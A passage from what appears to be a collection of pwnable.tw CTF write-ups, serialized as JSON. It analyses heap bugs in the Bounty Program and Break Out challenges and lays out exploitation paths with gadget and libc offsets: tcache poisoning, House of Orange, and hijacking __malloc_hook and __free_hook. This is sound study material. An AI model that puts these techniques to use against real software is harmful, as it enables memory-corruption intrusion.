leak + password overflow → `setcontext` + `mprotect` + shellcode | Clean `setcontext` usage |\n| `1351.md` | B | MD5 oracle byte-by-byte → stack leak → `mprotect` + shellcode ROP | `GLIBC_TUNABLES` perturb=1 |\n| `2972.md` | D | strtok + fake user via register → libc leak via `show_vuln` → `setcontext` | Minimal feng shui |\n| `3148.md` | D | strtok + heap spray + fake user → `__free_hook` → `setcontext` | Detailed heap layout comments |\n| `6247.md` | D | `tcache_max` tunable + unsorted bin consolidation → `__free_hook` | Uses `glibc.malloc.tcache_max` |\n| `6748.md` | A | password overflow → arb read/write → tcache fd poison → `setcontext` | Well-structured OOP exploit |\n| `6923.md` | A | strtok `-1` leak × 2 → password overflow → `__free_hook` → `setcontext` | Direct strtok libc leak |\n| `8153.md` | A + B | password overflow → `__environ` → stack ROP | Stack-based finish |\n| `9251.md` | A | password overflow → arb R/W → `leave; ret` + malloc_hook → ROP | `fopen` + `fgets` for flag read |\n| `18331.md` | A | strtok `size=-1` → password overflow → arb R/W → stack return overwrite | No `setcontext`; direct stack smash |\n| `25916.md` | B + E | MD5 oracle + `_dl_open_hook` chain → `setcontext` | Most complex; multi-stage via `_dl_open_hook` |\n| `26957.md` | C | strtok tcache poison → `__malloc_hook` + `setcontext` | Direct tcache FD corruption |\n| `31599.md` | C | strtok continuation → tcache poison → `__malloc_hook` = `add_rsp_0x48` → ROP | Cleanest tcache poison approach |\n| `32010.md` | D | strtok leak + report/type overlap → `__malloc_hook` = `leave; ret` | `leave; ret` pivot |\n| `32858.md` | E | tcache_perthread_struct overwrite → `environ` leak → stack ROP | Unique tcache struct approach |\n| `34817.md` | D | strtok + `__free_hook` → `setcontext` → open/read/write ROP | Two script variants |\n| `36134.md` | B | MD5 oracle + password overflow + heap feng shui → `leave; ret` → ROP | Byte-by-byte MD5 for all leaks |\n\n## Notes\n\n- **No `system(\"/bin/sh\")`** — The flag is at `/home/bounty_program/flag` and seccomp or sandbox restrictions prevent direct shell. All solutions use `open/read/write` shellcode or ROP to read the flag file.\n- **`GLIBC_TUNABLES`** — The wrapper's env var prompt is the intended hint. Setting `glibc.malloc.perturb=N` fills freed heap with byte N, making heap layout deterministic and leaks reliable. Some solutions also use `glibc.malloc.tcache_max` or `glibc.malloc.check`.\n- **Full RELRO** — GOT is read-only, so all exploits target `__free_hook` or `__malloc_hook` instead.\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (feng shui + fake user approach) |\n| `desc.txt` | Challenge description |\n| `artifacts/bounty_program_alpha.tar.gz` | Original challenge binary + wrapper + libc |\n| `solution/*.md` | Community write-ups (24 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14395,"content_sha256":"9a655236305fec23ee29b61d8770e2eead9047d883b66e338de35764f05872fb"},{"filename":"pwnable-tw/bounty_program_b.md","content":"---\ntags:\n - heap-buffer-overflow\n - unsorted-bin-attack\n - tcache-poisoning\nplatform: pwnable.tw\npoints: 500\narch: x86-64\nlibc: glibc-2.27\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A one-byte heap overflow enables overlapping heap chunks to forge tcache entries under FORTIFY_SOURCE constraints and hijack __free_hook.\"\nproof-of-concept: no\n---\n\n# Bounty Program β — pwnable.tw (500 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10410`\n>\n> Flag: `FLAG{STRt0k_1s_v3ry_d4ng3rouS_And_d0nt_f0rg3t_ch3ck_NuLl_p7r}`\n\n## Challenge Overview\n\nA bug bounty platform binary (x86-64, Full RELRO, PIE, NX, Canary, FORTIFY) built against glibc 2.27. Users register/login, create products, submit vulnerability reports with descriptions, manage vulnerability types, and evaluate bugs. A `wrapper` binary sets one environment variable before executing the main program. This is the patched successor to \"Bounty Program α\" — `malloc` replaced with `calloc`, `strlen`-based password leak removed, `urandom`-based description initialization removed — but the core `strtok` UAF bug remains.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n FORTIFY: Enabled\n```\n\n## Key Data Structures\n\n### User (0x58 bytes)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `password` | `char[16]` |\n| `0x10` | `username` | `char[32]` |\n| `0x30` | `bounty` | `void *` |\n| `0x38` | **`contact`** | `char *` (write primitive target) |\n| `0x40` | `uid` | `uint64_t` |\n| `0x48` | `ref_cnt` | `uint64_t` |\n| `0x50` | `next` | `struct User *` |\n\n### Vulnerability Report (0x140 bytes)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x000` | `title` | `char[256]` |\n| `0x100` | `user_ptr` | `struct User *` |\n| `0x108` | `descrip_size` | `uint64_t` |\n| `0x110` | `ID` | `uint32_t` |\n| `0x118` | **`descrip_ptr`** | `char *` |\n| `0x120` | `type_ptr` | `struct Type *` |\n| `0x128` | `next` | `struct Report *` |\n| `0x130` | `prev` | `struct Report *` |\n| `0x138` | `evaluated` | `uint8_t` |\n\n### Vulnerability Type (0x10 bytes)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `name_ptr` | `char *` |\n| `0x08` | `price` | `int` |\n| `0x0c` | `ref_cnt` | `int` |\n\n## Vulnerabilities\n\n### V1 — `strtok` UAF via `calloc(NULL)` (Primary, Exploitable)\n\n**Root Cause:** In `add_type()`, user-controlled `size` is passed to `calloc(1, size)`. Passing `-1` (or `0xffffffff` / `0xffffffffffffffff`) causes `calloc` to fail and return `NULL`. The code does **not** check the return value. Subsequently, `strtok(NULL, \",\")` is called — since the first argument is `NULL`, `strtok` reuses its internal `olds` pointer from a previous `strtok` call, operating on **already-freed memory**.\n\n```c\n// add_type (simplified)\nchar *buf = calloc(1, user_size); // returns NULL on huge size\n// NO NULL CHECK\nstrtok(buf, \",\"); // if buf==NULL, reuses olds from prior strtok\n// iterates: strtok(NULL, \",\") reads/writes through freed chunk\n```\n\n**Impact:**\n- **Read primitive:** The `olds` pointer points into a freed chunk. If that chunk is in a free list (unsorted bin, smallbin, fastbin, tcache), its `fd`/`bk` metadata is read as \"type names\" and printed back → leaks **heap** and **libc** addresses.\n- **Write primitive:** `strtok` scans for the delimiter `,` (byte `0x2c`). If the freed chunk's metadata contains `0x2c` as part of a pointer (e.g., `0x????2c??`), `strtok` **NUL-overwrites** that byte, changing the pointer. This corrupts heap metadata or struct field pointers.\n\n### V2 — Heap Pointer Corruption via `strtok` NUL-Write\n\n**Root Cause:** `strtok` replaces the delimiter byte with `\\x00`. When `olds` points at a heap pointer containing `0x2c` (which is common — e.g., address `0x5555????2c10`), the `0x2c` byte is zeroed → `0x5555????0010`. This effectively changes the pointer to a different heap location.\n\n**Impact:** Combined with heap grooming, this provides:\n- Corruption of a report's `descrip_ptr` to overlap with another struct\n- Corruption of tcache/fastbin `fd` pointers for arbitrary allocation\n- Corruption of a user's `contact` pointer for arbitrary write via `change_contact()`\n\n### V3 — Description Pointer Overlap via Modify Report\n\n**Root Cause:** `modify_report()` allows changing the description size to a larger value, calling `realloc()`. If the new description overlaps with a previously freed report or type chunk, the overlapping memory can be read/written through the description.\n\n## Exploit Paths\n\nAll solutions exploit V1 (the `strtok` UAF) for leaks. They diverge on the write primitive and final hijack.\n\n---\n\n### Path A — `strtok` UAF → Leak libc/heap → `__free_hook` + `setcontext` → ORW ROP\n\n**Used by:** Solutions 370, 821, 3148, 5586, 6247, 8153, 22319, 31599, 36134, 36997\n\n**Steps:**\n\n1. **Leak libc:** Call `add_type(large_size, ...)` to get a chunk into the unsorted bin. Then `add_type(-1, ...)` triggers the `strtok` UAF — `olds` points at freed chunk metadata → reads back `main_arena` pointer → compute libc base.\n\n2. **Leak heap:** Free a smaller chunk into fastbin/tcache, then trigger another `strtok` UAF → reads back heap `fd` pointer → compute heap base.\n\n3. **Heap grooming:** Carefully arrange allocations so a report's description is at address `0x????2cXX`. Use the `strtok` NUL-write (V2) to corrupt the `fd` pointer of a freed chunk, redirecting it to overlap with a report struct or user struct.\n\n4. **Write primitive:** Either:\n - Overwrite a user's `contact` pointer to `__free_hook` via corrupted fastbin/tcache allocation, then use `change_contact()` to write `setcontext+53` to `__free_hook`.\n - Corrupt a report's `descrip_ptr` to point at `__free_hook` and write through `modify_report()`.\n - Directly poison tcache fd to allocate at `__malloc_hook`.\n\n5. **Trigger:** Call `free()` on a chunk whose first 8 bytes point to a `SigreturnFrame` or ROP chain. `setcontext+53` pivots the stack. The ROP chain performs `open(\"/home/bounty_program/flag\") → read → write(1, ...)`.\n\n**Reliability:** ~50-100% depending on heap base alignment (some solutions require `heap_base & 0xf000 == 0xf000` for the `0x2c` trick, giving 1/16 brute force).\n\n---\n\n### Path B — `strtok` UAF → tcache poisoning → `__malloc_hook` + Stack Pivot → ORW\n\n**Used by:** Solutions 25916, 34817, 37983\n\n**Steps:**\n\n1. **Leak libc + heap:** Same as Path A using repeated `add_type(-1)`.\n\n2. **Heap padding:** Allocate large descriptions to align the next allocation at `0x????2cXX` so the `strtok` NUL-write corrupts a tcache chunk's `fd` to point to a controlled location (e.g., near `__malloc_hook`).\n\n3. **Tcache poisoning:** The corrupted `fd` chain now includes a fake entry near `__malloc_hook - 0x14`. Allocate through the tcache chain until landing on `__malloc_hook`, then overwrite with `add_rsp_0x48` or `leave; ret` gadget.\n\n4. **Trigger:** The next `calloc` (via `remove_type` with a crafted size as the `rbp` value) triggers `__malloc_hook`. The stack pivot lands in a pre-placed ROP chain that does ORW.\n\n**Reliability:** Higher than Path A in some configurations since it avoids the user-struct corruption complexity.\n\n---\n\n### Path C — `strtok` UAF → Report Overlap → Fake Report → `__malloc_hook` + `leave; ret`\n\n**Used by:** Solutions 370 (exp.py), 9251, 32010\n\n**Steps:**\n\n1. **Leaks:** Same strtok UAF for libc and heap.\n\n2. **Heap layout:** Arrange a report's description at a NUL-writable address. Use the strtok NUL-write to make the description pointer overlap with another report's struct memory.\n\n3. **Fake report:** Write through the overlapping description to forge a fake report with `descrip_ptr = __malloc_hook`. Use `modify_report()` on the fake report to write `leave; ret` to `__malloc_hook`.\n\n4. **ROP chain placement:** Place the ROP chain in a known heap address via a bug report's title/description.\n\n5. **Trigger:** `remove_type(heap_rop_address, ...)` → `calloc(1, heap_rop_address)` → `__malloc_hook(heap_rop_address)` → `leave; ret` pivots to ROP chain → ORW shellcode.\n\n---\n\n### Path D — `GLIBC_TUNABLES` + tcache disable → Fastbin UAF → `__free_hook`\n\n**Used by:** Solutions 2972, 3498, 6923\n\n**Steps:**\n\n1. **Disable tcache:** Use the wrapper to set `GLIBC_TUNABLES=glibc.malloc.tcache_count=0` (or `tcache_max=32`). This forces all allocations through fastbin/smallbin/unsorted bin, simplifying heap grooming.\n\n2. **Leaks + overlap:** Same strtok UAF, but without tcache the free list behavior is more predictable. Freed user structs go directly to fastbin.\n\n3. **Free root user:** Allocate a report overlapping a freed user struct. Modify the report to corrupt the user's `contact` field to `__free_hook`. Use `change_contact()` to write `setcontext+53`.\n\n4. **Trigger via free:** Free a report whose title contains the SROP frame / ROP payload → `setcontext` pivots → ORW.\n\n---\n\n### Path E — `strtok` UAF → `tcache_perthread_struct` Control → Arbitrary Allocation\n\n**Used by:** Solution 2972\n\n**Steps:**\n\n1. **Arrange tcache chunk** at address `0x????2cXX`, free it, then free another same-size chunk.\n\n2. **strtok NUL-write** changes the first chunk's `fd` pointer to point to `tcache_perthread_struct` at the top of the heap.\n\n3. **`strdup`** (called internally) consumes the poisoned tcache chain and allocates over `tcache_perthread_struct`, giving full control of all tcache bin heads.\n\n4. **Write arbitrary tcache entries** to redirect future allocations to `__free_hook` or `__malloc_hook`.\n\n## Differences from Bounty Program α\n\n| Feature | Alpha | Beta |\n|---------|-------|------|\n| `malloc` vs `calloc` | `malloc` | `calloc` (zeroes memory) |\n| Password hash leak via `strlen` | Present | Removed |\n| Urandom in description | Present | Removed |\n| `change_contact`/`change_password` | `strlen` checked | Fixed-size input |\n| Core `strtok` bug | Present | **Still present** |\n| `calloc(-1)` returns NULL | N/A | Exploitable (no NULL check) |\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| libc leak (main_arena) | V1: strtok UAF on unsorted bin chunk | Deterministic |\n| Heap leak | V1: strtok UAF on fastbin/tcache chunk | Deterministic |\n| NUL-byte write at 0x2c | V2: strtok delimiter overwrite | Requires `0x2c` in pointer (~1/16 heap ASLR) |\n| Arbitrary write | Corrupted contact/description pointer | Deterministic after alignment |\n| Code execution | `__free_hook`/`__malloc_hook` + setcontext/leave;ret | Deterministic after write |\n| Flag read (no `execve`) | ORW ROP chain: open→read→write | Required (seccomp or sandbox) |\n\n## Offsets (pwnable.tw `libc-2.27.so`)\n\n```python\nmain_arena = 0x3ebc40\nunsorted_bin = 0x3ebca0 # main_arena + 0x60\n__malloc_hook = 0x3ebc30\n__free_hook = 0x3c57a8 # (some solutions use 0x3ed8e8)\nsetcontext = 0x520a5 # +53 offset for the usable gadget\nleave_ret = 0x54803\npop_rdi = 0x2155f\npop_rsi = 0x23e6a\npop_rdx = 0x1b96\npop_rax = 0x439c8\nsyscall_ret = 0xd2975\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `370.md` | A | strtok UAF → tcache drain → `__free_hook` + setcontext | Two approaches; uses `evaluate` for user struct manipulation |\n| `821.md` | A | strtok UAF → description overlap → `__malloc_hook` + setcontext | Detailed struct analysis; `GLIBC_TUNABLES` for tcache_count=0 |\n| `2972.md` | E | strtok → tcache_perthread_struct control | 4-bit brute force; `strdup` to allocate from poisoned tcache |\n| `3148.md` | D | strtok UAF → fake unlink → `__free_hook` | No GLIBC_TUNABLES needed; detailed heap grooming |\n| `3498.md` | D | Same exploit for α and β; no env vars | `REMOTE`/`BETA` flag switch |\n| `5586.md` | A | `GLIBC_TUNABLES=tcache_max=32` → fastbin UAF | Disables tcache for simpler fastbins |\n| `6247.md` | D | `GLIBC_TUNABLES=tcache_max=216` → fastbin → contact overwrite | Uses register/delete for heap shaping |\n| `6923.md` | C | strtok → `__malloc_hook` + calloc trigger | Precise heap alignment; `mprotect` + shellcode |\n| `8153.md` | A | strtok + α/β compatible | Notes β only differs in calloc; same strtok bug |\n| `9251.md` | C | Double free via strtok NUL-write → `__malloc_hook` + `leave;ret` | Detailed NPC/entity adjacency technique |\n| `22319.md` | A | strtok → `__free_hook` + setcontext → mprotect + shellcode | Clean code; heap base brute force |\n| `25916.md` | B | tcache poisoning → `__malloc_hook` near allocation | Heap padding for 0x2c alignment |\n| `31599.md` | C | strtok → description overlap → `__malloc_hook` + `leave;ret` | ORW via syscall chain |\n| `32010.md` | A | strtok → user contact → `__free_hook` + setcontext | Comprehensive heap walk; fopen for flag |\n| `34817.md` | B | 1/16 brute force; tcache fd poisoning → `__free_hook` | Two scripts (fastbin version + tcache version) |\n| `36134.md` | B | tcache poisoning via strtok NUL-write → `__malloc_hook` | `add_rsp_0x48` gadget + `pop rsp` pivot; clean solve |\n| `36997.md` | A | strtok → `0x2c` overwrite → `__malloc_hook` + `leave;ret` | Detailed strtok source analysis; 1/16 |\n| `37983.md` | A | Uses `rand ^ 0xDADADADA` type confusion for product overlap | Notes diff between α/β patches |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (heap offset brute force + ORW shellcode) |\n| `desc.txt` | Challenge description |\n| `artifacts/` | Original challenge binary (bounty_program_beta.tar.gz) |\n| `solution/*.md` | Community write-ups (22 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13812,"content_sha256":"b8fab434bd48771b905fcba48c173ced6d0f3cecd8cb9b9f02bdba98ff8b853a"},{"filename":"pwnable-tw/break_out.md","content":"---\ntags:\n - use-after-free\n - information-leak\n - fastbin-dup\nplatform: pwnable.tw\npoints: 350\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A use-after-free in cell note management allows leaking heap and libc pointers, followed by fastbin duplication to overwrite __malloc_hook.\"\nproof-of-concept: no\n---\n\n# Break Out — pwnable.tw (350 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10400`\n\n## Challenge Overview\n\nA prison management binary (x86-64, PIE, Full RELRO, NX, Stack Canary) built against glibc 2.23 (no tcache). It loads a prisoner database from a colon-separated file, and provides commands to `list` prisoners, write a `note` for a prisoner (using `realloc`), and `punish` a prisoner (frees the note). The key defense mechanism is `secure_read()`: it parses `/proc/self/maps` at startup to build a whitelist of writable regions, and every `read()` into a note buffer is validated against this whitelist — only writes into the **[heap]** region are permitted. This means a naive heap overflow can never directly touch libc/GOT/hooks.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\nTwo binaries are provided: `breakout` (the main binary) and `prisoner` (the database file).\n\n## Key Data Structures\n\n### Prisoner Struct (0x40 bytes, linked list)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `risk` | `char *` (points to static string) |\n| `0x08` | `name` | `char *` |\n| `0x10` | `nickname` | `char *` |\n| `0x14` | `age` | `int32_t` |\n| `0x18` | `cell` | `int32_t` |\n| `0x20` | `sentence` | `char *` |\n| `0x28` | `note_size` | `int32_t` |\n| `0x2c` | `pad` | `int32_t` |\n| `0x30` | `note` | `char *` (realloc'd) |\n| `0x38` | `next` | `struct prisoner *` |\n\nPrisoners are stored in a singly-linked list. The `note` command calls `realloc(prisoner->note, size)` and writes into it via `secure_read`. The `punish` command calls `free(prisoner->note)` **without clearing the pointer** — classic dangling pointer.\n\n### Whitelist (`secure_read` defense)\n\nAt startup, `secure_self()` parses `/proc/self/maps` and stores the `[heap]` region's base and end in BSS globals (`dst_whitelist`). Every `secure_read()` call validates that the destination buffer falls within this range. This prevents direct writes to libc, stack, or BSS.\n\n## Vulnerabilities\n\n### V1 — Use-After-Free / Dangling Pointer in `punish`\n\n**Root Cause:** `punish(cell)` calls `free(prisoner->note)` but does **not** set `prisoner->note = NULL` or `prisoner->note_size = 0`.\n\n**Impact:**\n- **UAF read:** After freeing, `list` still prints the note content, leaking heap metadata (fd/bk pointers from freed chunks).\n- **UAF write via realloc overlap:** Since the struct pointer array and note buffers are both on the heap, `realloc` on one prisoner's note can allocate memory overlapping a freed prisoner struct, giving full control over another prisoner's fields (name, note pointer, next pointer, note_size).\n\n### V2 — Fake Prisoner via `next` Pointer Manipulation\n\n**Root Cause:** After achieving V1 overlap, an attacker can set a prisoner's `next` pointer to any heap address containing controlled data. The `list` command follows the linked list and prints fields from the fake prisoner, including its `note` pointer (used for reading) and `name`/`risk` (used for display — leak primitives).\n\n**Impact:** By pointing `next` at a crafted fake prisoner struct:\n- Set `note` to an arbitrary address → `list` leaks its contents\n- Set `note_size` to a controlled value → subsequent `note` command writes to the arbitrary `note` address\n- This yields **arbitrary read/write within the heap**, and with further tricks, outside it.\n\n## Exploit Paths\n\nAll solutions start with V1 (UAF) to gain heap control, then diverge on how they **bypass `secure_read`** to write outside the heap.\n\n---\n\n### Path A — Unsorted Bin Attack → Overwrite `dst_whitelist` → `__realloc_hook` = `system`\n\n**Used by:** Solutions 59, 278, 408, exp.py variant\n\n**Steps:**\n\n1. **Leak heap base:** Free a prisoner struct via `punish`, then use `note` on another prisoner to allocate into the freed struct. `list` reveals heap pointers from the overlapping struct fields.\n\n2. **Leak PIE base:** Use the fake prisoner technique (V2) to read the `risk` field of a known prisoner — it points to a string in the binary like `\"High\"` at a known offset → PIE base.\n\n3. **Leak libc base:** With PIE base, point the fake prisoner's `note` at a GOT entry (e.g., `got[\"mprotect\"]`) → `list` leaks the resolved address → libc base.\n\n4. **Bypass `secure_read` via unsorted bin attack:**\n - Forge a fake prisoner whose `next` points into BSS near `dst_whitelist`.\n - Use the unsorted bin attack (overwrite unsorted bin chunk's `bk` to `&dst_whitelist - 0x10`) to write a `main_arena` address over `dst_whitelist`.\n - Now `secure_read` thinks the entire libc data section is writable.\n\n5. **Overwrite `__realloc_hook`:** Point a fake prisoner's `note` at `__realloc_hook`, write `system` via `note`.\n\n6. **Trigger:** A prisoner whose note contains `\"/bin/sh\\0\"` — calling `realloc` on it invokes `__realloc_hook(system)` → shell.\n\n---\n\n### Path B — House of Orange (FSOP via `_IO_list_all`)\n\n**Used by:** Solutions 57, 186, 1303, 1980, 2233, 2972, 3025, 3917, 8153, 9251\n\n**Steps:**\n\n1. **Leak heap + libc:** Same as Path A steps 1-3 (UAF overlap → fake prisoner → read pointers).\n\n2. **Forge unsorted bin chunk on heap:** Use the fake prisoner's `note` write to craft a fake unsorted bin chunk with:\n - `fd = 0` (crash unsorted bin iteration)\n - `bk = &_IO_list_all - 0x10` (unsorted bin attack target)\n - Size field set to `0x61` (matches smallbin[4])\n - First 8 bytes = `\"/bin/sh\\0\"`\n\n3. **Craft fake `_IO_FILE_plus` struct:** Embedded after the chunk header:\n - `_IO_write_ptr > _IO_write_base` (triggers overflow path)\n - `_mode = 0` or `_mode = -1`\n - `vtable` → points to fake vtable on heap\n - Fake vtable's `__overflow` slot → `system`\n\n4. **Trigger:** Any `malloc` that sorts the unsorted bin (or `exit()`) → glibc iterates `_IO_list_all` → finds the fake FILE → calls `vtable->__overflow(file)` → `system(\"/bin/sh\")`.\n\n**Note:** This only requires heap writes, so it completely bypasses `secure_read` — no need to corrupt the whitelist.\n\n---\n\n### Path C — Fastbin Attack → `__malloc_hook` Overwrite\n\n**Used by:** Solutions 6923, 21490, 31599, exp.py\n\n**Steps:**\n\n1. **Leak heap + libc:** Same UAF techniques.\n\n2. **Fastbin grooming:** Create overlapping chunks via the fake prisoner note pointer manipulation. Free a `0x70`-sized chunk, then use the write primitive to overwrite its `fd` pointer to `__malloc_hook - 0x23` (the classic glibc 2.23 `0x7f` fake-size trick).\n\n3. **Allocate through the fastbin:** Two `malloc(0x60)` calls — the second returns the fake chunk at `__malloc_hook - 0x23`.\n\n4. **Write the hooks:** Pad 0x13 bytes to reach `__realloc_hook`, then write:\n - `__realloc_hook = one_gadget` (e.g., `0xf0567`)\n - `__malloc_hook = __libc_realloc + 0xb` (the `push rbp` entry, which adjusts the stack so `[rsp+0x70] == NULL` for the one_gadget constraint)\n\n5. **Trigger:** Next `malloc` → `__malloc_hook` → `realloc(+0xb)` → `__realloc_hook` → one_gadget → shell.\n\n**Whitelist bypass:** The key insight is that `realloc` first copies old content to the new chunk. By pre-placing the payload in the old note (which is on the heap, passing `secure_read`), then triggering `realloc` to a size that allocates at `__malloc_hook`, the copy operation writes the payload into libc memory — bypassing `secure_read` because `realloc`'s internal `memcpy` doesn't go through the whitelist check.\n\n---\n\n### Path D — `_IO_file_jumps` / stdout vtable Overwrite\n\n**Used by:** Solutions 363, 786\n\n**Steps:**\n\n1. **Leak libc:** Via UAF + fake prisoner reading.\n\n2. **Forge a fake prisoner** whose `next` points to `_IO_file_jumps(stdout) - 0x30` in libc. This overlaps the fake prisoner's `note_size`/`note` fields with the stdout vtable pointer area.\n\n3. **Overwrite the vtable pointer** of `stdout` to point to a heap-controlled fake vtable where the `__xsputn` or `__overflow` slot is set to a one_gadget or `system`.\n\n4. **Trigger:** Any `puts`/`printf` output (e.g., `list`) uses the corrupted vtable → shell.\n\n---\n\n### Path E — Large Bin Attack → `_dl_open_hook` + ROP\n\n**Used by:** Solution 8033\n\n**Steps:**\n\n1. **Leak all addresses:** heap, PIE, libc via standard UAF chain.\n\n2. **Large bin attack:** Create large bin chunks, then corrupt the `bk_nextsize` of a large bin chunk to point to `_dl_open_hook - 0x10`. On the next large bin insertion, `_dl_open_hook` is overwritten with a heap address.\n\n3. **Prepare ROP chain on heap:** Use `setcontext+53` as a stack pivot gadget, with a ROP chain calling `execve(\"/bin/sh\", NULL, NULL)`.\n\n4. **Trigger `abort`:** Corrupt a chunk's metadata to cause a glibc assertion failure → `abort()` → uses `_dl_open_hook` → jumps to heap → stack pivot → ROP chain → shell.\n\n---\n\n### Path F — `__free_hook` via `note_size = malloc_size` Trick\n\n**Used by:** Solution 3917\n\n**Steps:**\n\n1. **Forge a fake prisoner** whose `next` points to `__free_hook - 0x28`. In the fake prisoner layout, the `note_size` field overlaps with the upper bytes of `__free_hook`, and the `note` field overlaps with `__free_hook`.\n\n2. **Write `one_gadget` to `__free_hook`** by calling `note` on the fake cell — `realloc` is called with `size = note_size` (which is the upper bits of the hook address, interpreted as an integer). This causes a large allocation → the old note is freed → `__free_hook` triggers.\n\n3. **Alternative:** Write the one_gadget address 2 bytes at a time by using `note(cell, oneshot_low16, \"A\")` which calls `realloc(note, low16)` — the size IS the address fragment, written into `note_size` at the position overlapping `__free_hook`.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Heap pointer leak | V1: UAF + `list` reads freed chunk metadata | Deterministic |\n| PIE base leak | V2: Fake prisoner `risk`/`name` → binary string pointer | Deterministic |\n| libc leak | V2: Fake prisoner `note` → GOT entry, or unsorted bin fd/bk | Deterministic |\n| Arbitrary heap R/W | V2: Fake prisoner with controlled `note`/`note_size` | Deterministic |\n| Whitelist bypass (House of Orange) | Path B: Only needs heap writes, no whitelist corruption | ~50% (heap alignment) |\n| Whitelist bypass (unsorted bin attack) | Path A: Overwrites `dst_whitelist` in BSS | Deterministic |\n| Whitelist bypass (fastbin + realloc copy) | Path C: `realloc` memcpy bypasses `secure_read` | Deterministic |\n| Code execution | `__realloc_hook`/`__malloc_hook`/`__free_hook` or FSOP | Deterministic after bypass |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n__malloc_hook = 0x3c3b10\n__realloc_hook = 0x3c3b08\n__free_hook = 0x3c57a8\n_IO_list_all = 0x3c4520\nsystem = 0x45390\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n# realloc + 0xb (push rbp trampoline for one_gadget stack fix)\nrealloc_tramp = 0x83b1b\n# Binary offsets\nstr_High = 0x1c28 # \"High\" string in .rodata\nwhitelist_bss = 0x203030 # dst_whitelist pointer in .bss\ngot_mprotect = 0x202ed8\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `57.md` | B (House of Orange) | UAF → fake prisoner → forge unsorted bin → FSOP | Needs negative libc base low bits |\n| `59.md` | A (Unsorted bin) | UAF → leak all → unsorted bin overwrites whitelist → `__realloc_hook` | Detailed bug explanation |\n| `186.md` | B (House of Orange) | Simple House of Orange via heap-only writes | Retry loop for reliability |\n| `278.md` | A (Unsorted bin) | Ruby exploit; UAF → whitelist bypass → `__realloc_hook = system` | Clean struct manipulation |\n| `363.md` | D (stdout vtable) | Overwrite `_IO_file_jumps` ptr of stdout → one_gadget | No heap tricks needed |\n| `408.md` | A (Unsorted bin) | UAF → unsorted bin `bk` → whitelist → `__realloc_hook` | Heap massage for binmap |\n| `786.md` | D (stdout vtable) | Fake prisoner `next` → libc FILE vtable area → one_gadget | Application-logic only |\n| `1303.md` | B (House of Orange) | Full FSOP with detailed fake `_IO_FILE_plus` layout | Remote heap offset pain |\n| `1980.md` | C (Fastbin) | UAF → stack leak → PIE leak → fastbin attack → one_gadget | Leaks via `environ` |\n| `2121.md` | C (Fastbin) | Classic fastbin to `__malloc_hook - 0x23` | Standard 0x7f trick |\n| `2233.md` | B (House of Orange) | Unsorted bin → `_IO_list_all` → FSOP → `system(\"/bin/sh\")` | |\n| `2972.md` | B (House of Orange) | Compact House of Orange implementation | |\n| `3025.md` | B (House of Orange) | \"ez challenge, hard to get shell in remote env\" | Remote heap offset issues |\n| `3917.md` | F (`__free_hook`) | Fake prisoner `next` → `__free_hook - 0x28` → write one_gadget 2 bytes at a time | Creative `note_size` abuse |\n| `6923.md` | C (Fastbin) | UAF → overlapping chunks → fastbin fd → `__malloc_hook` → one_gadget | |\n| `8033.md` | E (Large bin) | Large bin attack → `_dl_open_hook` → `setcontext` stack pivot → ROP | Most complex path |\n| `8153.md` | B (House of Orange) | FSOP with `_IO_list_all` | Chinese writeup |\n| `9251.md` | B (House of Orange) | UAF → fake prisoner → House of Orange FSOP | |\n| `13344.md` | B (House of Orange) | FSOP via fake FILE; leak all via `environ` | Clean Python3 exploit |\n| `21490.md` | C (Fastbin) | Fastbin + realloc copy bypass of `secure_read` | `realloc`'s `memcpy` is the key |\n| `31599.md` | C (Fastbin) | UAF → fastbin → `__malloc_hook` → `realloc_tramp` + one_gadget | Standard hook chain |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (fastbin + realloc hook chain) |\n| `desc.txt` | Challenge description |\n| `artifacts/breakout` | Challenge binary (stripped, PIE) |\n| `artifacts/prisoner` | Prisoner database file |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (72 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14408,"content_sha256":"7ef79c0e93daecd503656934938614f8fab2d11bc9cc5f51d49fe86b8616a6ee"},{"filename":"pwnable-tw/calc.md","content":"---\ntags:\n - integer-underflow\n - stack-buffer-overflow\n - rop\n - static-binary\nplatform: pwnable.tw\npoints: 150\narch: i386\nlibc: static\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An integer underflow in arithmetic expression token indexing allows arbitrary stack read and write, enabling ROP chain construction on the return address.\"\nproof-of-concept: no\n---\n\n# calc — pwnable.tw (150 pts)\n\n[← Back to pwnable.tw Challenge 